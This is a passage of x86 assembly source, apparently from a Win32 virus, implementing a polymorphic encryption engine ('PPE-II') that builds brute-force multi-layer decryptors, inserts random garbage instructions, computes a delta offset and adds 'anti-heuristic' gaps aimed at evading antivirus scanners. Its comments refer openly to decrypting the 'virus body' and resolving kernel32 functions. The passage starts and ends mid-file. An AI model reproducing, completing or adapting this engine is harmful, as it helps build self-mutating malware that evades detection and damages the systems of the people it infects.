;I would like to thank Darkman/29A for his:
; * "RDEA" article in 29A #3 issue
; * ideas and theory
;
;This function is only for you... your ideas...
;
;
__pbi_nums dd 4 dup(0) ;global numbers
__pbi_last_num dd 00000000h ;last number
__pbi_add_num dd 00000000h ;absolute number
__pbi_start_crc dd 00000000h ;startup checksum
__pbi_last_crc dd 00000000h ;finishing checksum
__pbi_regs db 3 dup(0) ;three registers
;
ppe_brute_init:
; save all registers
pusha
; change "poly_start" value
mov edi,[ebp+mem_address]
add edi,[ebp+file_size3] ;new position
mov [ebp+poly_start],edi ;file_size + 3rd loop
; generate four numbers
mov ecx,00000004h ;four numbers
__pbi_next_number:
call ppe_get_rnd32 ;generate random number
mov [ebp+__pbi_nums+ecx*4-4],eax
loop __pbi_next_number
; calculate some checksums...
xor ecx,ecx ;counter
xor eax,eax ;calculate register
__pbi_calculate:
add eax,[ebp+__pbi_nums+ecx*4]
rol eax,01h
xor eax,0ACD78FA3h
inc ecx ;next number
cmp ecx,00000004h ;ECX == numbers - 1 ?
jnz __pbi_cfinish
mov [ebp+__pbi_start_crc],eax ;save that value
__pbi_cfinish:
cmp ecx,00000005h
jnz __pbi_calculate
mov [ebp+__pbi_last_crc],eax ;save checksum
; generate three needed registers
mov ecx,00000003h ;three registers
__pbi_next_register:
call ppe_get_empty_reg
call __reg_to_bcd
mov [ebp+__pbi_regs+ecx-1],al
or [ebp+used_regs],ah
loop __pbi_next_register
; generate old and new checksum
call gen_garbage ;use old checksum it means
mov eax,[ebp+__pbi_start_crc] ;without last right value
mov bl,[ebp+__pbi_regs] ;the first register
call ppe_crypt_value
call gen_garbage ;and use finishing crc
mov eax,[ebp+__pbi_last_crc]
mov bl,[ebp+__pbi_regs+01h] ;the second register
call ppe_crypt_value
call gen_garbage
xor eax,eax ;calculating register
mov bl,[ebp+__pbi_regs+02h] ;the third register
call ppe_crypt_value
; own algorithm
push edi ;startup address
mov al,40h
or al,[ebp+__pbi_regs] ;old_reg++
stosb
mov ah,[ebp+__pbi_regs+02h] ;mov calc_reg,old_reg
shl ah,03h
or ah,[ebp+__pbi_regs] ;old reg
or ah,0C0h
mov al,8Bh ;MOV instruction
stosw
mov ax,0C0D1h ;rol calc_reg,01h
or ah,[ebp+__pbi_regs+02h]
stosw
mov ax,0F081h ;xor reg32,imm32
or ah,[ebp+__pbi_regs+02h]
stosw
mov eax,0ACD78FA3h ;special value
stosd
mov ah,[ebp+__pbi_regs+02h]
shl ah,03h
or ah,[ebp+__pbi_regs+01h]
or ah,0C0h
mov al,3Bh
stosw
mov ax,850Fh ;JNZ identification
stosw
pop eax ;"go back" offset
sub eax,edi
sub eax,4
stosd
call gen_garbage
mov byte ptr [ebp+used_regs],00h
mov al,[ebp+code_reg] ;code register
call __reg_to_bcd
or [ebp+used_regs],ah
xchg ah,al
shl ah,03h
or ah,[ebp+__pbi_regs]
or ah,0C0h
mov al,8Bh ;mov code_reg,reg32
stosw
call gen_garbage
mov ax,0E881h ;sub code_reg,start_crc
or ah,[ebp+code_reg]
stosw
mov eax,[ebp+__pbi_start_crc]
stosd
call gen_garbage
mov ax,0C081h ;ADD instruction
or ah,[ebp+code_reg]
stosw
mov eax,[ebp+__pbi_add_num]
stosd
mov [esp],edi
popa
ret
;ÄÄÄ´ generate code to get delta-address ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function gets delta. Useful forr "g_repeat", and all
;calls and jmps garbages, for all iluzo jumps and so on...
;
__ppe_gd_call dd 00000000h
;
ppe_get_delta:
; save registers
pusha
; prepare CALL
call gen_garbage
mov al,0E8h
stosb
stosd
mov [ebp+__ppe_gd_call],edi
push edi
call ppe_gen_rnd_block
mov eax,edi
pop esi
sub eax,esi
mov dword ptr [esi-00000004h],eax
call gen_garbage
; now, we must active the global index register
mov al,[ebp+gl_index_reg2]
mov [ebp+gl_index_reg],al
call __reg_to_bcd
or [ebp+used_regs],ah
mov byte ptr [ebp+compare_index],00h
mov al,58h
or al,byte ptr [ebp+gl_index_reg]
stosb ;POP base-reg32
call gen_garbage_no_flags ;'cause delta isn't finished
; we must fix real address
mov eax,[ebp+__ppe_gd_call]
sub eax,[ebp+mem_address]
sub eax,[ebp+file_size3]
push eax
; ADD or SUB ?
call ppe_get_rnd32
and al,1
jz __ppe_gd_sub
; fix with ADD --> add reg32, fix_value
mov ax,0C081h
or ah,byte ptr [ebp+gl_index_reg]
stosw
pop eax
neg eax
jmp __ppe_gd_fix_done
; fix with SUB --> sub reg32, -fix_value
__ppe_gd_sub:
mov ax,0E881h
or ah,byte ptr [ebp+gl_index_reg]
stosw
pop eax
__ppe_gd_fix_done:
stosd
mov [esp],edi
popa
ret
;ÄÄÄ´ generate layer gaps (anti-heuristic) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function adds some gaps in multi-layers buffer. What
;does it mean, gaps ? So, you will generate layers map by
;"ppe_mlayer_generate" function. There are only movements
;and AV can find that buffer and do all alone, but here I
;will generate some gaps, and when my poly find certain
;offset in that buffer, i'll add some value = anti-heuris-
;tic. All is hiden by "ppe_crypt_value" as well.
;
;Behaviour:
; * get number of gaps
; * generate their position and size in layer buffer
; * run "bubble sort" algorithm
; * do gaps in buffer (generate random movement)
; * change positions
;
__pglg_num dd 00000000h ;number of gaps
__pglg_where dd 8 dup(0,0) ;gaps, their size
;
ppe_get_layer_gaps:
; save all registers
pusha
; negate all movements
mov ecx,[ebp+__mlg_size] ;number of movements
mov esi,[ebp+__mlg_map]
__pglg_negate:
mov ah,[esi]
btc ax,15 ;negate 7th bit
mov [esi],ah
inc esi
loop __pglg_negate
; exchange all movements (from end 2 start)
mov ecx,[ebp+__mlg_size]
mov esi,[ebp+__mlg_map]
__pglg_exchange:
mov al,[esi+ecx-1]
xchg al,[esi]
mov [esi+ecx-1],al
dec ecx
dec ecx
inc esi
cmp ecx,00000002h
jae __pglg_exchange
; generate random gaps
mov eax,00000009h ;number of gaps - 1
call ppe_get_rnd_range
mov [ebp+__pglg_num],eax ;actual gaps
or eax,eax ;no gaps ?
jz __pglg_finish
mov edx,eax
__pglg_next_gap:
mov eax,[ebp+__mlg_size] ;memory buffer size
call ppe_get_rnd_range
or eax,eax ;don't support 1st place
jz __pglg_next_gap
mov [ebp+__pglg_where+edx*8-8],eax ;save position
mov eax,00000010h ;<0,10h) gap
call ppe_get_rnd_range
inc eax ;this was fucking bug
mov [ebp+__pglg_where+edx*8-4],eax ;and its size
dec edx ;next gap
jnz __pglg_next_gap
cmp [ebp+__pglg_num],00000001h
jz __pglg_moving
; use "bubble sort"
mov ebx,[ebp+__pglg_num] ;for(x=7;x<=1;x--)
mov ecx,ebx ;for(y=8-x;y<=1;y--)
dec ecx ;if(p[y]>p[y-1]){
__pglg_bagain: ;x=p[y+1];p[y+1]=p[y]
mov edx,ebx ;p[y]=x}
sub edx,ecx
__pglg_bnext: ;...and it's all :)
mov eax,[ebp+__pglg_where+edx*8]
cmp eax,[ebp+__pglg_where+edx*8-8]
ja __pglg_bno_change
xchg eax,[ebp+__pglg_where+edx*8-8]
mov [ebp+__pglg_where+edx*8],eax
__pglg_bno_change:
dec edx
jnz __pglg_bnext
dec ecx
jnz __pglg_bagain
; it's time to do some place in the buffer
__pglg_moving:
mov edx,[ebp+__pglg_num] ;number of gaps
__pglg_next_moving:
mov ecx,[ebp+__mlg_size] ;buffer's size
mov esi,[ebp+__pglg_where+edx*8-8] ;position
sub ecx,esi
add esi,[ebp+__mlg_map] ;memory layers map
mov edi,[ebp+__pglg_where+edx*8-4] ;gap size
add ecx,edi
add edi,esi ;destination place
push esi
call __movsd_back
mov ecx,[ebp+__pglg_where+edx*8-4]
pop edi ;do some random movement
push ecx
mov bl,[edi] ;get last bit (+/-) ?
__pglg_generate:
call ppe_get_rnd32 ;generate that...
bt bx,7 ;to (C)arry
jc __pglg_2nd
and al,01111111b
jmp __pglg_1st
__pglg_2nd:
or al,10000000b ;set last bit
__pglg_1st:
stosb ;...and store one
loop __pglg_generate
pop ecx
; well, build next anti-heuristic...
add [ebp+__mlg_size],ecx ; + gap size
dec edx
jnz __pglg_next_moving
; change positions
xor eax,eax
__pglg_cpos:
mov ebx,[ebp+__pglg_num] ;this was last fucking bug,
dec ebx ;belive me, it's needless
cmp edx,ebx ;to explain something :)
jz __pglg_finish
inc edx
add eax,[ebp+__pglg_where+edx*8-4]
add [ebp+__pglg_where+edx*8],eax
jmp __pglg_cpos
__pglg_finish:
popa
ret
;ÄÄÄ´ generate code to set index for decode-loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function gets start of virus body to reg32.
;
ppe_get_index:
; save all registers
pusha
call gen_garbage
; crypt a start of decoding
mov al,[ebp+index_reg]
movzx ebx,al
call __reg_to_bcd
or [ebp+used_regs],ah
mov eax,-1 ;start of decoding...
call ppe_crypt_value ;go !
lea ebx,[ebp+tbl_regs+ebx*02h]
call __copro_fix_delta
; go back
mov [esp],edi
popa
ret
;ÄÄÄ´ generate layer pointer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function generates pointer to a layers memory map.
;
;
__pglp_old_val dd 00000000h ;old random value
__pglp_ov_where dd 00000000h ;pointer to update
;
ppe_get_layer_pointer:
; save all registers
pusha
; generate random pointer for layers map
call gen_garbage
call ppe_get_rnd32
mov [ebp+__pglp_old_val],eax
mov bl,[ebp+mlayer_reg]
call ppe_crypt_value
mov al,[ebp+mlayer_reg]
call __reg_to_bcd
or [ebp+used_regs],ah
or al,0C0h ;ADD instruction
mov ah,81h
xchg ah,al
stosw
mov [ebp+__pglp_ov_where],edi
stosd
mov al,03h ;ADD instruction
mov ah,byte ptr [ebp+mlayer_reg]
shl ah,3
or ah,byte ptr [ebp+gl_index_reg]
or ah,0C0h
stosw
call gen_garbage
; restore registers
mov [esp],edi
popa
ret
;ÄÄÄ´ function to build brute-multi-layer-poly decoder ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function generates the very perfect decryptor.
;Scheme:
;
; @@1: ROR code_reg, 01h
; (ADD,SUB,XOR) [index_reg], code_reg
; DEC index_reg
; TEST [mlayer_reg], 80h
; JNZ @@2
; INC index_reg
; INC index_reg
; @@2: DEC byte ptr [mlayer_reg]
; TEST [mlayer_reg], 7Fh
; JNZ @@1
; TEST BYTE PTR [mlayer_reg],80h
; JNZ @@3
; TEST BYTE PTR [mlayer_reg+1],80H
; JZ @@4
; DEC index_reg
; JMP @@4
; @@3: TEST BYTE PTR [mlayer_reg+1],80H
; JNZ @@4
; INC index_reg
; @@4:
;
;And it is whole decryptor, very easy to understand... :)
;
ppe_decoder:
; save all registers
pusha
; build sado-maso decoder :)
push edi ;"go back" offset
mov [ebp+decoder_back],edi
call gen_garbage
; rotate by code_reg
mov ax,0C8D1h ;ROR code_reg, 01h
or ah,[ebp+code_reg]
stosw
call gen_garbage
; select type of coding (ADD, SUB, XOR) ?
mov al,00h ;ADD instruction
cmp byte ptr [ebp+crypt_style],02h
jz __pd_xor
cmp byte ptr [ebp+crypt_style],01h
jnz __pd_select_regs
mov al,28h ;SUB instruction
jmp __pd_select_regs
__pd_xor:
mov al,30h ;XOR instruction
__pd_select_regs:
mov ah,[ebp+code_reg] ;code register
shl ah,03h
or ah,[ebp+index_reg] ;index register
stosw
call gen_garbage
; change index register
mov al,48h ;DEC instruction
or al,[ebp+index_reg] ;index register
stosb
call gen_garbage
; move down or up ? (+/-) flag
mov ax,00F6h ;TEST byte [mlayer_reg],80h
or ah,[ebp+mlayer_reg]
stosw
mov al,80h ;test last byte
stosb
call gen_garbage_no_flags
; build JNZ conditional jump (jump if DOWN)
mov ax,850Fh ;JNZ instruction
stosw
push edi
stosd ;do place
call gen_garbage
mov al,40h ;INC index register
or al,[ebp+index_reg]
stosb
call gen_garbage
stosb
call gen_garbage
pop ebx ;JNZ offset
call gen_garbage
mov eax,edi ;build JNZ offset
sub eax,ebx
sub eax,4
mov [ebx],eax
; decrease number of movements in layer buffer
mov ax,08FEh ;DEC byte ptr [---]
or ah,[ebp+mlayer_reg]
stosw
call gen_garbage
; test whether it was last coding, if yes, next movement
mov ax,00F6h ;TEST byte [mlayer_reg],7Fh
or ah,[ebp+mlayer_reg]
stosw
mov al,7Fh ;test "x0000000b" status
stosb
call gen_garbage_no_flags
; build next conditional JNZ jump
mov ax,850Fh ;JNZ instruction
stosw
pop eax
sub eax,edi
sub eax,4
stosd
call gen_garbage
; generate a lot of TEST instructions and JNZ/JZ cond. jumps
mov ax,00F6h ;TEST byte [mlayer_reg],80h
or ah,[ebp+mlayer_reg]
stosw
mov al,80h
stosb
call gen_garbage_no_flags
mov ax,850Fh ;JNZ instruction
stosw
push edi
stosd ;update later
call gen_garbage
mov ax,40F6h ;TEST byte [mlayer_reg+1],80h
or ah,[ebp+mlayer_reg]
stosw
mov ax,8001h
stosw
call gen_garbage_no_flags
mov ax,840Fh ;JZ instruction
stosw
push edi
stosd
call gen_garbage
mov al,48h ;DEC instruction
or al,[ebp+index_reg]
stosb
call gen_garbage
mov al,0E9h ;JMP instruction
stosb
push edi
stosd
call gen_garbage
mov ebx,[esp+00000008h] ;@@3 update address
mov eax,edi
sub eax,ebx
sub eax,00000004h
mov [ebx],eax
mov ax,40F6h ;TEST byte [mlayer_reg+1],80h
or ah,[ebp+mlayer_reg]
stosw
mov ax,8001h
stosw
call gen_garbage_no_flags
mov ax,850Fh ;JNZ instruction
stosw
mov [esp+00000008h],edi
stosd
call gen_garbage
mov al,40h ;INC instruction
or al,[ebp+index_reg]
stosb
call gen_garbage
mov ecx,00000003h
__pd_update_cjumps:
pop ebx ;get @@4 conditional jump
mov eax,edi
sub eax,ebx
sub eax,00000004h
mov [ebx],eax
loop __pd_update_cjumps
; restore all registers
mov [esp],edi
popa
ret
;ÄÄÄ´ generate next code value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function updates code value by code_value_add.
;
ppe_get_next_code:
; save all registers
pusha
; calculate next code value
mov ax,0C081h ;ADD code_reg,code_value_add
or ah,[ebp+code_reg]
stosw
mov eax,[ebp+code_value_add]
stosd
call gen_garbage
; restore all registers
mov [esp],edi ;update EDI through POPA
popa
ret
;ÄÄÄ´ function to check multi-layers gaps ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function checks whether pointer is in gap (anti-heu-
;stistic). If it's on that place then i'll change pointer.
;
__pgnlp_old dd 8 dup(0,0) ;old random numbers
;
ppe_get_next_layer_pointer:
; save all registers
pusha
; increase multi-layer pointer
call gen_garbage
mov al,40h ;INC instruction
or al,[ebp+mlayer_reg]
stosb
call gen_garbage
; generate some random numbers
mov ecx,[ebp+__pglg_num] ;number of gaps
or ecx,ecx ;no gaps ?
jz __pgnlp_finish
__pgnlp_get_nums:
call ppe_get_empty_reg
mov bl,al ;empty reg to BL
call ppe_get_rnd32
mov [ebp+__pgnlp_old+ecx*8-8],eax
call ppe_crypt_value
mov ax,0C081h ;ADD instruction
or ah,bl
stosw
mov [ebp+__pgnlp_old+ecx*8-4],edi ;save pos.
stosd
mov al,03h ;ADD instruction
mov ah,bl
shl ah,3
or ah,byte ptr [ebp+gl_index_reg]
or ah,0C0h
stosw
mov ax,0C03Bh ;CMP instruction
shl bl,3 ;empty reg << 3
or ah,bl
or ah,[ebp+mlayer_reg]
stosw
call gen_garbage_no_flags
mov ax,850Fh ;JNZ conditional jump
stosw
push edi
stosd
call gen_garbage
mov ax,0C081h ;ADD instruction
or ah,[ebp+mlayer_reg]
stosw
mov eax,[ebp+__pglg_num] ;number of gaps
sub eax,ecx
mov eax,[ebp+__pglg_where+eax*8+4]
stosd
call gen_garbage
pop eax
mov ebx,edi ;calculate JNZ offset
sub ebx,eax
sub ebx,4
mov [eax],ebx
dec ecx
jnz __pgnlp_get_nums
call gen_garbage
__pgnlp_finish:
mov [esp],edi
popa
ret
;ÄÄÄ´ function to generate decoder-loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function generates last JNZ jump to the start of de-
;coder loop.
;
__pge_where dd 00000000h ;place to update
;
ppe_get_exloop:
; save all registers
pusha
; build main compare instruction
call gen_garbage
call ppe_get_empty_reg
call __reg_to_bcd
or [ebp+used_regs],ah
mov bl,al
mov eax,[ebp+__mlg_size] ;size of the layers buf
call ppe_crypt_value
call gen_garbage
mov ah,bl ;dest reg
shl ah,03h
or ah,[ebp+gl_index_reg]
or ah,0C0h
mov al,03h ;ADD
stosw
call gen_garbage
mov ax,0C081h ;ADD
or ah,bl
stosw
mov [ebp+__pge_where],edi
stosd
call gen_garbage
mov ah,bl
shl ah,03h
or ah,[ebp+mlayer_reg]
or ah,0C0h
mov al,3Bh ;CMP instruction
stosw
mov al,bl
call __reg_to_bcd
not ax
and [ebp+used_regs],ah ;disbale register
call gen_garbage_no_flags
mov ax,850Fh ;JNZ instruction
stosw
mov eax,[ebp+decoder_back] ;build JNZ offset
sub eax,edi
sub eax,4
stosd
call gen_garbage
; restore all registers
mov [esp],edi
popa
ret
;ÄÄÄ´ function to jump to 3rd decoding loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function checks whether virus body has been decrypt-
;ed by multi-layers engine and then jumps to the 3rd deco-
;ding loop to finish that work :).
;
ppe_get_return:
; save all registers
pusha
; save used-regs
movzx eax,byte ptr [ebp+gl_index_reg]
call __reg_to_bcd
mov [ebp+used_regs],ah
; generate offset to jump back
call gen_garbage
xor eax,eax
mov ebx,[ebp+file_size3]
sub ebx,eax
push ebx
; ready to JMP there
call ppe_get_empty_reg
pop eax
dec eax
not eax
call c_call_reg32 ;edi-2 = call reg32 instr
mov eax,[ebp+g_cr32_jump]
add byte ptr [eax-1],10h ;CALL reg32 --> JMP reg32
; generate final garbages
mov eax,00000005h
call ppe_get_rnd_range
add eax,00000005h
mov ecx,eax
__pgr_final:
call gen_garbage
loop __pgr_final
; restore all registers
mov [esp],edi
popa
ret
;ÄÄÄ´ function to create multi-layer buffer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function builds multi-layers buffer behind our poly-
;morphic code.
;
ppe_get_mlayer_buffer:
; save all registers
pusha
; copy buffer from memory to EDI
push edi ;start of memory layer buf
mov esi,[ebp+__mlg_map] ;layers in memory
mov ecx,[ebp+__mlg_size] ;size of the buffer
rep movsb
; generate some last garbages
mov eax,00000005h
call ppe_get_rnd_range
add eax,00000005h
__pgmb_generate:
call gen_garbage
dec eax
jnz __pgmb_generate
; update multi-layer pointer in "ppe_get_layer_pointer"
pop ebx ;start of mem layers buffers
sub ebx,[ebp+poly_start] ;EAX - poly_start = pos
mov eax,ebx
sub eax,[ebp+__pglp_old_val]
mov edx,[ebp+__pglp_ov_where]
mov [edx],eax
; update multi-layer pointer in "ppe_get_exloop"
mov edx,[ebp+__pge_where]
mov [edx],ebx
; update multi-layer pointers in "ppe_get_next_layer_pointer"
mov esi,[ebp+__pglg_num]
xor ecx,ecx
or esi,esi ;no gaps ?
jz __pgmb_finish
__pgmb_next_change:
inc ecx
mov eax,ebx
add eax,[ebp+__pglg_where+ecx*8-8];where is the gap
sub eax,[ebp+__pgnlp_old+esi*8-8] ;get random number
mov edx,[ebp+__pgnlp_old+esi*8-4] ;position
mov [edx],eax
dec esi
cmp [ebp+__pglg_num],ecx
jnz __pgmb_next_change
; restore all registers
__pgmb_finish:
mov [esp],edi
popa
ret
;ÄÄÄ´ function for write insignificant data ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ppe_gen_rnd_block:
mov eax,00000014h
call ppe_get_rnd_range
add eax,00000005h
mov ecx,eax
ppe_gen_rnd_fill:
cld
movzx eax,byte ptr [ebp+compare_index]
cmp eax,00000005h
jae ppe_gen_rnd_loop
push ebx
mov ebx,eax
mov eax,ecx
sub eax,00000004h ;far JMP's five bytes - 1
call ppe_get_rnd_range
add eax,edi
sub eax,[ebp+poly_start]
mov [ebp+compare_buffer+ebx*04h],eax
inc byte ptr [ebp+compare_index]
pop ebx
ppe_gen_rnd_loop:
call ppe_get_rnd32
stosb
loop ppe_gen_rnd_loop
ret
;ÄÄÄ´ functions returns (empty) base reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ppe_get_reg: mov eax,00000008h
call ppe_get_rnd_range
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
ret
ppe_get_empty_reg:
call ppe_get_reg
test byte ptr [ebx+REG_FLAGS],REG_IS_STACK
jnz ppe_get_empty_reg
call __reg_to_bcd
test [ebp+used_regs],ah
jnz ppe_get_empty_reg
movzx ax,al
ret
__reg_to_bcd:
push ebx
movzx ebx,al
movzx ebx,byte ptr [ebp+tbl_regs_bcd+ebx]
mov ah,bl
pop ebx
ret
;ÄÄÄ´ random numbers ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ppe_get_rnd32:
push ebx ecx edx ;my special algorithm to
mov eax,[ebp+poly_seed] ;calculate a random number
mov ecx,41C64E6Dh ;for Win32
mul ecx
xchg eax,ecx
call [ebp+ddGetTickCount]
mov ebx,eax
db 0Fh, 31h ;RDTCS instruction - read
xor eax,ebx
xchg ecx,eax ;PCs ticks to EDX:EAX
mul ecx
add eax,00003039h
mov [ebp+poly_seed],eax
pop edx ecx ebx
ret
ppe_get_rnd_range:
push ecx edx
mov ecx,eax
call ppe_get_rnd32
xor edx,edx
div ecx
mov eax,edx
pop edx ecx
ret
;ÄÄÄ´ polymorphic tables (PPE-II) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; some equ's needed by Prizzy Polymorphic Engine (PPE-II)
REG_NO_8BIT equ 1 ;esi,edi,ebp aren't 8bit
REG_IS_STACK equ 2 ;reg is stack because of copro
REG_FLAGS equ 1 ;one byte to set tbl_regs' flags
USED_MEMORY equ 30 ;we must be far then 30 bytes in poly
USED_BASED equ 1 ;don't generate copro
USED_FLAGS equ 2 ;generated garbages can't modify flags
; table of registers
; DO NOT modify this table or the next because they're
; dependent on - because of tranfer to reg_bcd
tbl_regs equ this byte
db 00000000b,00h ;eax
db 00000001b,00h ;ecx
db 00000010b,00h ;edx
db 00000011b,00h ;ebx
db 00000100b,REG_IS_STACK ;esp
db 00000101b,REG_NO_8BIT ;ebp
db 00000110b,REG_NO_8BIT ;esi
db 00000111b,REG_NO_8BIT ;edi
end_regs equ this byte
; table for use registers, DO NOT modify or move
tbl_regs_bcd equ this byte
db 00000001b ;eax, st(0)
db 00000010b ;ecx, st(1)
db 00000100b ;edx, st(2)
db 00001000b ;ebx, st(3)
db 00010000b ;esp, st(4)
db 00100000b ;ebp, st(5)
db 01000000b ;esi, st(4)
db 10000000b ;edi, st(7)
end_regs_bcd equ this byte
; opcodes for math reg,imm
tbl_math_imm equ this byte
db 0C0h ;add
db 0C8h ;or
db 0E0h ;and
db 0E8h ;sub
db 0F0h ;xor
db 0D0h ;adc
db 0D8h ;sbb
end_math_imm equ this byte
; opcodes for math reg,reg
tbl_math_reg equ this byte
db 03h ;add
db 0Bh ;or
db 13h ;adc
db 1Bh ;sbb
db 23h ;and
db 2Bh ;sub
db 33h ;xor
end_math_reg equ this byte
; one byte instructions that doesn't modify reg
tbl_save_code equ this byte
clc
stc
cmc
cld
std
end_save_code equ this byte
; opcodes for rotate/shift reg,imm
tbl_rs_imm equ this byte
db 0C0h ;rol
db 0C8h ;ror
db 0D0h ;rcl
db 0D8h ;rcr
db 0E0h ;shl
db 0E8h ;shr
db 0F8h ;sar
end_rs_imm equ this byte
; opcodes for bit tests reg,imm
tbl_bt_imm equ this byte
db 0E0h, 0E8h, 0F0h, 0F8h ;bt, bts, btr, btc
end_bt_imm equ this byte
; opcodes for bit tests reg,reg
tbl_bt_reg equ this byte
db 0A3h, 0ABh, 0B3h, 0BBh ;bt, bts, btr btc
end_bt_reg equ this byte
; opcodes for generate defined number
; decode_instruction = encode_instruction + 1st_number
; reg32 = 2nd_number + defined_reg32
; immX = 3rd_number * 8
tbl_num_code equ this byte
db 003h,081h,0C0h,04h ;add (reg32), imm32
db 0FBh,081h,0E8h,04h ;sub (reg32), imm32
db 0FFh,081h,0F0h,04h ;xor (reg32), imm32
db 003h,0C1h,0C0h,01h ;rol (reg32), imm8
db 0FBh,0C1h,0C8h,01h ;ror (reg32), imm8
db 0FFh,0F7h,0D0h,00h ;not (reg32)
end_num_code equ this byte
; table of rep/repnz operations
tbl_repeat equ this byte
dd offset __gr_cmps ;compare mem operand
dd offset __gr_lods ;load mem operand
dd offset __gr_stos ;store mem data
dd offset __gr_scas ;scan mem
dd offset __gr_movs ;move data from mem to mem
end_repeat equ this byte
; table of the second encode-loop
; the first value means - count
; the second value means - random select ?
; the third value means - already generated ?
tbl_encode_loop equ this byte
db 05h, 01h
dd 00000000h, offset ppe_lloop_generate
dd 00000000h, offset ppe_mlayer_generate
dd 00000000h, offset ppe_brute_init
dd 00000000h, offset ppe_get_delta
dd 00000000h, offset ppe_get_layer_gaps
db 02h, 00h
dd 00000000h, offset ppe_get_index
dd 00000000h, offset ppe_get_layer_pointer
db 01h, 01h
dd 00000000h, offset ppe_decoder
db 02h, 00h
dd 00000000h, offset ppe_get_next_code
dd 00000000h, offset ppe_get_next_layer_pointer
db 03h, 01h
dd 00000000h, offset ppe_get_exloop
dd 00000000h, offset ppe_get_return
dd 00000000h, offset ppe_get_mlayer_buffer
end_encode_loop equ this byte
; table of the instructions which they don't modify flags
; 1st value = move to original instructions
; 2nd value = how many garbages don't modify flags
tbl_no_flags equ this byte
db 06h, (__no_flags_1 - tbl_garbage) / 04h
db 06h, (__no_flags_2 - tbl_garbage) / 04h
end_no_flags equ this byte
; hyper table of garbages (support only copro)
; where __no_flags_X means the following garbages don't
; modify any flags, do NOT modify this table 'cause of flags
tbl_garbage equ this byte
dd offset g_push_g_pop ;push reg/garbage/pop reg
__no_flags_1:dd offset g_movreg32imm ;mov reg32,imm
dd offset g_movreg16imm ;mov reg16,imm
dd offset g_movreg8imm ;mov reg8,imm
dd offset g_movregreg32 ;mov reg32,reg32
dd offset g_movregreg16 ;mov reg16,reg16
dd offset g_movregreg8 ;mov reg8,reg8
dd offset g_mathreg32imm ;math reg32,imm
dd offset g_mathreg16imm ;math reg16,imm
dd offset g_mathreg8imm ;math reg8,imm
__no_flags_2:dd offset g_call_cont ;call/garbage/pop
dd offset g_jump_u ;jump/rnd data
dd offset g_jump_c ;jump conditional/garbage
dd offset g_movzx_movsx_32 ;movzx/movsx reg32,reg16
dd offset g_movzx_movsx_16 ;movzx/movsx reg16,reg8
dd offset g_movzx_movsx_8 ;movzx/movsx reg32,reg8
dd offset g_rotate_shift32 ;(rcr,sal...) reg32,imm8
dd offset g_rotate_shift16 ;(ror,shl...) reg16,imm8
dd offset g_rotate_shift8 ;(rol,shr...) reg8,imm8
dd offset g_rs_reg32reg8 ;(rcr,sal...) reg32,reg8
dd offset g_rs_reg16reg8 ;(ror,shl...) reg16,reg8
dd offset g_rs_reg8reg8 ;(rol,shr...) reg8,reg8
dd offset g_bit_test32 ;(bsf,bsr...) reg32,imm8
dd offset g_bit_test16 ;(btc,bts...) reg16,imm8
dd offset g_bt_regreg32 ;(bsf,bsr...) reg32,reg32
dd offset g_bt_regreg16 ;(btc,bts...) reg16,reg16
dd offset g_mathregreg32 ;(add,sub...) reg32,reg32
dd offset g_mathregreg16 ;(xor,and...) reg16,reg16
dd offset g_mathregreg8 ;(sbb,adc...) reg8,reg8
dd offset g_set_byte ;(seta,setp.) reg8
dd offset g_loop ;garbage/(loope/loopnz...)
dd offset g_loop_jump ;garbage/(dec reg8/16/32, jnz)
dd offset g_call_reg32 ;gen reg32/call reg32/rndblock/pop reg32
dd offset g_jump_reg32 ;gen reg32/jump reg32/rndblock
dd offset g_repeat ;gen regz/rep(lods,cmps...)
dd offset g_pushpop_value ;push rnd(32/16)/garbage/pop reg32
dd offset g_crypt_value ;crypt rnd32 value to reg32
dd offset g_compare ;dec reg32/cmp r32,r32/jnz
end_garbage equ this byte
__garbage_based_num equ (offset end_garbage - offset tbl_garbage) / 04h
;ÄÄÄ´ some valuez needed by virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; kernel32's base address & its functions
kernel_base dd 00000000h ;thx to z0mbie & Vecna
user32_base dd 00000000h ;used in "kernel memory"
advapi_base dd 00000000h
; my big APIs table, using three libraries
FunctionAddresses:
ddGetProcAddress dd 00000000h ;standard functions
